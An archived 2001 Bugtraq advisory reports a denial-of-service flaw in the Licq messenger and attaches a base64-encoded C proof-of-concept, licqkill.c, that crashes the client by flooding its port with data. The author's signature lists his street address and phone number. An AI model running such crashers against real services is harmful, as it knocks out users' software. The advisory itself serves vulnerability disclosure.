 | ||||||
| << Previous | INDEX | Search | src | Set bookmark | Go to bookmark | Next >> |
| ||||||
| |||||||||||||||||||||
Date: Tue, 20 Feb 2001 16:19:36 -0500 From: "Stanley G. Bubrouski" <stan@CCS.NEU.EDU> To: BUGTRAQ@SECURITYFOCUS.COM Subject: Advisory: Licq DoS +exploit This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. ---559023410-851401618-982703976=:20187 Content-Type: TEXT/PLAIN; charset=US-ASCII Author: Stan Bubrouski (stan@ccs.neu.edu) Date: February 20, 2001 Package: Licq Versions affected: v.85 and v1.0.2 and possibly previous or newer versions. Severity: Remote user's can cause Licq to crash or lock up completely. Problems: While testing Licq back in December it became apparent to me that Licq could be made to crash consistently if a certain amount of data is sent to a port it is listening on. Further testing showed that sending a certain amount of data to the port the Remote Management Service (RMS) plugin listens on it too would cause Licq to crash or lock up. The amount of data needed to be sent to crash Licq may vary from system to system. On the Red Hat linux 7.0 system I used 16707 or more bytes sent to the port Licq was listening on was enough to crash it. Sending around 12000 or more characters to the RMS plugin port was enough to crash Licq on my system as well. I've attached a simple exploit to demonstrate the DoS. I haven't tested any versions newer than 1.0.2 but they should be assumed vulnerable as well. Copyright 2001 Stan Bubrouski -- Stan Bubrouski stan@ccs.neu.edu 316 Huntington Ave. Apt #676, Boston, MA 02115 (617) 377-7222 ---559023410-851401618-982703976=:20187 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="licqkill.c" Content-Transfer-Encoding: BASE64 Content-ID: <Pine.GSO.4.21.0102201619360.20187@denali.ccs.neu.edu> Content-Description: Content-Disposition: attachment; filename="licqkill.c" LyoNCiAqIE5hbWU6IExpY3FraWxsLmMNCiAqIEF1dGhvcjogU3RhbiBCdWJy b3Vza2kgPHN0YW5AY2NzLm5ldS5lZHU+DQogKiBEYXRlOiBEZWNlbWJlciAy NiwgMjAwMA0KICogRGVzY3JpcHRpb246IExpY3Egd2lsbCBjcmFzaCB3aGVu IDE2NzA3IG9yIG1vcmUgY2hhcmFjdGVycyBhcmUgc2VudCB0byB0aGUgcG9y dA0KICogICAgICAgICAgICAgIExpY3EgaXMgbGlzdGVuaW5nIG9uLiAgRmlu ZGluZyB0aGUgcG9ydCBMaWNxIGlzIHJ1bm5pbmcgb24gaXMgcHJldHR5DQog KiAgICAgICAgICAgICAgc2ltcGxlIGJlY2F1c2UgYnkgZGVmYXVsdCBpdCBz dGFydHMgdXNpbmcgcG9ydHMgYXJvdW5kIDExMDAgb3Igc28uICBUaGlzDQog KiAgICAgICAgICAgICAgaGFzIGJlZW4gdGVzdGVkIGFnYWluc3QgTGljcSB2 Ljg1IGFuZCB2MS4wLjINCiAqIFB1cnBvc2U6IFByb29mLW9mLWNvbmNlcHQg dG9vbCBmb3IgdGhlIExpY3EgRGVuaWFsIG9mIFNlcnZpY2UgdnVsbmVyYWJp bGl0eS4NCiAqLw0KDQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxu ZXRpbmV0L2luLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVk ZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVk ZSA8c3RkbGliLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8 ZXJybm8uaD4NCg0KaW50IG1haW4oaW50IGFyZ2MsIGNoYXIgKiphcmd2KQ0K ew0KCWNoYXIgYnVmWzE4MDAwXTsNCglpbnQgaSwgc29jaywgcmVzdWx0Ow0K CXN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQoJc3RydWN0IGhvc3RlbnQgKmhu Ow0KDQoJcHJpbnRmKCJsaWNxa2lsbC5jIC0gTGljcSByZW1vdGUgRG9TIGJ5 IFN0YW4gQnVicm91c2tpIDxzdGFuQGNjcy5uZXUuZWR1PlxuXG4iKTsNCg0K CWlmIChhcmdjIDwgMykgDQoJew0KCQlmcHJpbnRmKHN0ZGVyciwgIlVzYWdl OiAlcyA8aG9zdD4gPHBvcnQ+XG4iLCBhcmd2WzBdKTsNCgkJZXhpdCgtMSk7 DQoJfQ0KDQoJaG4gPSBnZXRob3N0YnluYW1lKGFyZ3ZbMV0pOw0KDQoJaWYg KCFobikNCgl7DQoJCWZwcmludGYoc3RkZXJyLCAiJXM6IGhvc3QgbG9va3Vw IGZhaWx1cmVcbiIsIGFyZ3ZbMV0pOw0KCQlleGl0KC0xKTsNCgl9DQoNCglz aW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQoJc2luLnNpbl9wb3J0ID0gaHRv bnMoYXRvaShhcmd2WzJdKSk7DQoJc2luLnNpbl9hZGRyID0gKihzdHJ1Y3Qg aW5fYWRkciAqKWhuLT5oX2FkZHI7DQoJc29jayA9IHNvY2tldChBRl9JTkVU LCBTT0NLX1NUUkVBTSwgMCk7DQoJcmVzdWx0ID0gY29ubmVjdChzb2NrLCAo c3RydWN0IHNvY2thZGRyICopJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRk cl9pbikpOw0KDQoJaWYgKHJlc3VsdCAhPSAwKSANCgl7IA0KCQlmcHJpbnRm KHN0ZGVyciwgIkZhaWxlZCB0byBlc3RhYmxpc2ggY29ubmVjdGlvbiB0byAl c1xuIiwgYXJndlsxXSk7DQoJCWV4aXQoLTEpOw0KCX0NCgkNCglpZiAoc29j ayA8IDApDQoJew0KCQlmcHJpbnRmKHN0ZGVyciwgIlNvY2tldCBlcnJvci4i KTsNCgkJZXhpdCgtMSk7DQoJfQ0KDQoJZm9yIChpPTA7IGk8MTgwMDA7IGkr KykNCgkJc3RybmNhdChidWYsICJBIiwgMSk7DQoJc2VuZChzb2NrLCBidWYs IHNpemVvZihidWYpLCAwKTsNCgljbG9zZShzb2NrKTsNCglmcHJpbnRmKHN0 ZG91dCwgIkRhdGEgc2VudFxuXG4iKTsNCn0NCg== ---559023410-851401618-982703976=:20187--
| |||||||||||||||||||||